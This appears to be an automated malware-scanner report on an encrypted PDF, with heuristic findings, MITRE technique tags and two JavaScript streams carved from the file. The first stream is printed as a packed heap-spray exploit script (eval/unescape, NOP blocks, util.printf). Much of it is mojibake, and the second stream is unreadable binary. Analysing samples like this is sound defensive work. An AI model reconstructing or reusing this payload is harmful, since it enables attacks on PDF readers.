MALICIOUS
148
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1566.001 Spearphishing Attachment
The PDF file is encrypted and contains JavaScript, which is a common technique to obfuscate malicious content. The embedded JavaScript stream, named 'javascript_obj0001_000.js', is likely responsible for executing the hidden payload. This points towards a phishing or malware delivery attack pattern.
Machine Learning
- Nyx PDF Classifier malicious score 0.9998
Heuristics 5
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Encrypted PDF carries /JavaScript — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JSPDF declares /Encrypt and also references an executable trigger (/JavaScript). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0001_000.js |
pdf-javascript-stream | PDF /JS object 1 at offset 0xF | 3871 bytes |
SHA-256: 3a84724791c393e14e67b3126fa56ae28a823d918609052a27a469720f833ffc |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(c/a))+String.fromCharCode(c%a+161)};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\[\xa1-\xff]+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(e(c),'g'),k[c])}}return p}('� �=�("%��%��%��%��%u%u%�%�%�%�%�%�%�%�%��%��%��%�%��%��%��%��%��%��%�� ��%��%��%��%��%��%��%��%��%�%��%��%��%��%��%��%��%�%��%�%�%��%��%��%��%��%��%��%��%��%��%��%��%��%��%��%��%��%�%��%�%�%�%��%��%�%�%��%��%� ��%��%��%��%��%��%��%��%��%��%��%��%��%�%�%��%�%��%��%��%��%��%��%��%�� ��%��%��%�%�%�%�%�%�%�%�%�%�%�%�%�%�%�%�%�%�%�%�%�%� 0%�%�%�%�%�%�%�%�%�%��%��%��%�%��%��%��%��%�%�%��%�%�%�%�%u �%�%�%�%�%�%�%�%�%��%�%�%�%��%��%�%�%�%�%��%�%�%��%�%� �%�%��%��%��%��%�%�%�%�%�%�%��%��%��%��%��%�%��%��%��%��%��%��%�� ��%��%��%��%�%��%��%��%��%��%��%��%��%��%��%��%�%��%��%��%��%��%��%��%�%u ��%��%�%�%��%��%��%��%��%��%��%��%��%��%�%��%��%�%��%��%��%��%��%��%��%��%��%��%��%�%��%��%��%��%��%��%�%��%��%��%��%��%��%��%�%��%��%��%��%� ��%��%��%��%��%��%��%��%��%��%��%��%��%��%��%�%��%��%��%��%��%��%��%��%�� ��%��%��%��%��%��%��%��%��%�%��%��%�%��%��%��%��%��%�%��%�%��%��%��%�%��%��%��%��%��%��%��%��%��%��%��%��%��%�%��%��%�%��%�%��%��%��%��%��%u ��%��%��%��");� �="";�(�=��;�>=0;--�)�+=�("%�%�%�%�%�");�=�+�;�=�("%�%�");�=��;�=�+�.� �(�.�<�)�+=�;�=�.�(0,�);�=�.�(0,�.�-�);�(�.�+�<��)�=�+�+�;�=�� ��();�(i=0;i<��;i++)�[i]=�+�;� �=�� �� �("%��",�);�� �(�,�({��.��(�,�)}',95,347,'u4949|bigblock|u9090|block|spray|length|u4e6|heapblock|u596|var|unescape|nop|iCnt|u584|u6c58|u586|u466b|u6e6|u6b35|u6e68|u336b|u6c30|u3063|u4e4c|u6861|u4|u6c4c|u6c59|param2|u5458|u3058|u4171|u6e34|u4164|u5679|u526b|fillblock|while|substring|headersize|mem|u5a4|param1|u7033|go|num|pl|for|u4d56|u724b|u455|u6470|u534b|u7073|u5851|u6c4d|u374b|uF3356|u524e|u4c48|u426e|u7530|u7358|u634b|u4c54|u6b4b|u7239|u7653|u366d|u6468|u3663|u444c|u5764|u6b41|u5053|u7275|u4733|u616c|u4f71|u466e|u674a|504|uF4b54|u5162|u4553|u5237|uF7346|uF3370|u666b|u456c|uF7230F|FFF4a48|u596d|u6a58|u686b|u
F5869|u5972|uF7156|u7242|u3930|u566c|u6b37|u586e|u4676|u7233|u7365|u6b69|u6e45|u3332|u6346|u764d|u4930|u566b|u6b59|u6b4|uF694|u4a48|u4a6d|u4b69|u724c|u584a|uF416|uF4e70|u646c|u6145|u7468|u714b|u4c6c|u744c|u376b|u5535|u7875|u4241|u5a51|u436a|u3142|u4937|ufff8|u03eb|ueb59|ue805|u4150|u6b42|u4230|u5841|u3850|F4142|u3241FFF|u4141|u4153|u4132|u6a41|u6e4|u3134|u5734|u6e55|u3353|u7534|u4b31|u7872|u6c6b|u556|uF7474|u6e6bFF|FF416b|u354|u626c|u464b|u7841|u416b|u4c76|u636d|u565a|uF5550|u7851|u316b|u376|u334b|uF626b|u326|uF6c38|u504b|u456e|u3764|u6877|u6941|150|u3934|u6f61|u6b6c|uF564c|u4b50|u7057|u7152|u5041|u706b|uF5346|FF7075|u4b44|u794|u4251|u337a|uF5070|u5a4d|u6865|u5a6|u6931|u4231|u5141|u6645|u304fFF|u6b56|u7632|u6e4c|u6c73|u374e|u6b6d|u495a|u336e|u4472|u704d|u767a|u7942|u6d6e|u7463|u5358|u736b|u4e6b|u4c4b|u334e|u3963|uF4350|128|20|u386|uF3956|u324|uF4b73|684|0x40000|new|function|util|printf|45000f|888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888|Array|1400|12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888|u6174|u577a|u4a4|uF4c70|u614b|uF4b37|uF704|uF6356|u4b5a|u4b4|u6b47|u4d4c|u5952|uF6330|u6f30|uF7046|u4974|u6b53|u3174|u6f33|u6c70|uF3030|u6c68|u4c64|u5955|u7041|uF3036|u526a|u3130|u546d|u796e|u4b58|u7355|u4c79|uF6350|u6633|u3179|u5947|F4646|u4e4|u4b47|u3568|u7141|u304c|u5046|uF3270|u3763|u5633|u6b33|u3366|u6c|u3544|u524a|u7177|u7035|u6a31|63|u6d49|u4146|u6359|u5a49|u6345|u625a|u6c6d|u3048|u715a|u7274|u6246|u7670|u3139|b69|u5652|u4b51|u4e74|u335a|u5839|u4d69|u5337|u5376|uF5130|u7965|uF4e30|u7173|u3344|u5330|u4b67|u784|uF7656|u5878|u6167|u6a6|uF5176|u4945|u3977|u6269|u6969|u7156|u5373'.split('|'),0,{}))
|
|||
javascript_obj0001_000_1.js |
pdf-javascript-stream | PDF /JS object 1 at offset 0x10 | 3888 bytes |
SHA-256: 15503def4c83664f14a54661bc3ebfd65d858d831388f3a768b466a0a35ba586 |
|||
Preview scriptFirst 1,000 lines of the extracted script
#��5 T��� �;� VԘ�2\�/M�("$N�$���P0�8 B����4A��h�O��o�Ɲ�BE��w���5��JT�T, �j�� ��K�jLoG,�bU� }�rLM��W�Nӝ U�D����/t� �5H;R"gn��|`-#�����+_�cF��6�m��\ݸ��= W�`��ۀ�9F�X! � �[�,��C�� 3 S ��Q��>�����S IU� � i5��j?UQG���i�;�t��Cw<����&�@��^i�6-�b�fz#H�`�O� � C�v�ȱ z��)�1's �YC � �n_��� �'�?wXB 0 �|_;3��}6>i�_���8 W�L.�Mv J,���pأ:��/9圦%_x�� ���Z G��x �H�
a9è ����J` x9�xZ � ����z�Ӎ> � ��
�� | =[�F� �1 ��# � �> C� �PQ� T ��^��9�|�Nom͂� 7 # � Ҥ/C\ ����I� �qi�9' d�g ���52g� jv�(����h�"� M����Wx�w�C֖�q�"��
�r� ��CxJ �"�� ,��O _�� �� �N��� ��ά��! bl~I摥dF.�aJ�� �qթ��*�Rôӈ:� )� �+98 �� d�|��� s �� G �ԩg�/� �I�� I���� uNz�]���,� ���_�e��YB��x5%=yj5�� �3 -0M� �o����p#�V�q��V;mN�+��ޡ� Ny"� �Q6�|F�` �G�)����*- 3 K�� ��O�iσ�� T; m̠8�^� ���N@�,�0 �XM,�B4K�������t �B�@ l7
�2깑1��yfZ��4�|K���T���V {�� @��<���* ��P֏P�{�}+�C��-ΖU������� S7�x� � �/RN�� � �]���]j�� n�˳�O�^h�-KkyH�P6T/hKK���h ޞJ=�)����D_�/ci:ʢ�a ���Jg>UY ���7 S@GA��,�t m�/=��qI��p���E���p g�,υg�&뷵� �r, �Ϲ���-'a ��M0< beE ���h#�b��
4��� zt �De���̤ys �'Qდ�'��(I>Y�
� (|mzX�� ���c �� �xU��~4.��C
l�� �H)��VNy�hu�_T��(8�9�� �@K�B � �M5C@c(���:�g �6���'q J:��t ?v��`� wyD��K6��.�Nw��ƙ� 5* �B�B ѯ81y N��@H�!�J�;�AϮ� �F�ӭ�p2H{5ٹ|�c��q z��� �� � bQJO# so���f��� �� Y �~�� ���K=o��&d��և 1��^'�IA���}1�m2h,�� ��\��ō� �t0L H���p#�F�"� ��E3e�ϖ'z�"��v{�y9�d)����5,��Z��83o�~ K�ݔ�h�� u ��G� �ߧE8��C } ���7 ����^v��h:/gI�����8�>Jߏ�<� [Us��x8�Mȑuu`����^m.-�� � ���Y�� Eޫ*}�4</A�xg�W��ϡ��T1 b�/R� v�t \� ���&@q@>A;�%)�Ӧ,��|@u�:ے��=H E \^�CFF��F�0� �!U�{�t� �A��o( �c��Z$^
/'�d�qT� ���- =(�,� �� ��a?>�R�o t) ��dV+\ �z � ��B��/�T��l ����t�+�=� � ��h���b:�@[�h\�i�\{�߰)#� !G� A�L4�zC[X
��> �
����X�M�e4��<yj
#��ƅ|Z/?���� 1�� k" �kq����e]2�k Ɨ^�"_��KX� ��h?�_�� H/ f��2�YS���� N�O�~5,4��ܹ�� �Gd ��c,+�LL"F��� �5pS _3�?�Iٜ��VK + � ��ঠ��+)����;��[��[9�G};��� 3q+'�� h� ��� &��Qٶɂx�9 �� `dx. �7$� 6BDi�SOy/� �P�\� �d�ns �IE������ϩ��| zA� �J�`��� �u�x � ��[z��� gԁ�8Kr�; ^�3 ��J���}(Ч��y� de+O,(b�z A�]� �)���'�� T��v����2 �?�v�M�wQl:Җ��̜��S$j b�{^� t B�S���w
�"�
(�WWg �r%�,%�z� Ⴒ�~c� xRYs� _�� ����J7 ���cw Ih� �& ��ɖ�;��G��t����)�<� �Zo Xk���.�[ l� ��&d ��� � %sxL���|�zƘ/��~I��U4|�.Ƒ�o& �C��1Ю�An1<p� t$9���� [A݅�#�9 �C�^0� F��F]@�S��� �IH� ���Q`�
c~,B�rl _ ��J;� C�Y H�p�@��>� S��)k��f|F�7(�){���pW� �ij(kt���3�l � ��Z� u>�1����azU��}j �j� ��i_>9���a�)V�uZ"�:�K=� x.r��6� �Y�� ���Z� e�� d� H
|�����~��ʸs .+�m��^m� p�$��tV�� ��� �� ��G7 �l�_�ډ9��|�i�8��K q� s�I � %hd�-�o) �� ���� �X�1��5 �%�j�on( �# <VR���:z� � �Cb��B��S-:�pB$�� ;'i���| �Sd��� ҤR+��Q �ͮ2�f�a]�s�~�
������ �����Ny�wN� � �F ����N'� )�1 xl�R �G*�!;�O���rP�ߜ�>T�C �p�`B � 1��F!̥ h��
��X����sW� ���
�ۛ� I
��(~G�� �s�7R46 ��h�m7C��� � :��(��o)&� Ol��(�~ƣ'����LO{ej� Y鼢/g�/<�z�V� �/�"L�Sp9{� [�gN� �G�0 �� �頦Q�<�w�� |o� y x� v�k
�Ź�ɾuK��4���> Ҵ�<�p�l�%�p Z�A��%k����y.��e ��;�T� n�Um �9?q �6�� �U ;�sP����>3�hwm`^��
�V���6�͖*6����: h�:g �gg0ևk �U�\ߐ� o I �`) �C�k�ʋ9�)4�������Q�R��.$_h �}XE� x � g $��* (-�K�z9�A R�����a C��g���X �z1�lR��
�b �ǔib� @Ρ �0Xx$y� R� p.z� ���0�2h�� l�o s�`R7�_W��ԅQ�{�Y l �k�%��}��" {�� ]t�I�b(�6 z���`�K ���|ÿV֬y ɍϓr�B��(�����E�� B�[^�ȍ�œ emz P� !��� 9��c�i���lG��� ��~�݈<<qƎ]c�A�<��������,^�r�� ��O��<� �O<ۍ�ʑ=ZơFBêII�5� f q�2E9�_'���{κ6{}<6��2�̾*j�� N���!�h4ƨ"�N� � `�x�a W���2�4 �+|q#��B ytE}v��D��{��PCۿ��1� ��G�S6�� �Y e���=ιя��a !��]c��q���y 4�5X�M{ h�S�!�z��r��_l�i A+ $�z�� l;������)��E=ʞ
n �c�_�^��u�6���ٔ" ��\ՆC�CY�k [�`~y���� ��"l!�0 ����cCRw�5 ;3ϵ�>9��.�� ��.l��"�1eb
h ��S ��^�0C� �d�NZ�?��֖��he�G � �"a$<���� �մ��5r ~�̏0 &$� ֙�f�*�˄^�j:��yD=V�����G��G� ����2����Ê -c� V��n�� nx��U� � D�t�l����ҀN�߸̌'*�: A�
&G)� ��T�0ÍL�� = 7��1Y[��� F�y")z���؋� >Yݨ � ۰٫l�� �*.� .� ���G)�j��VX
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.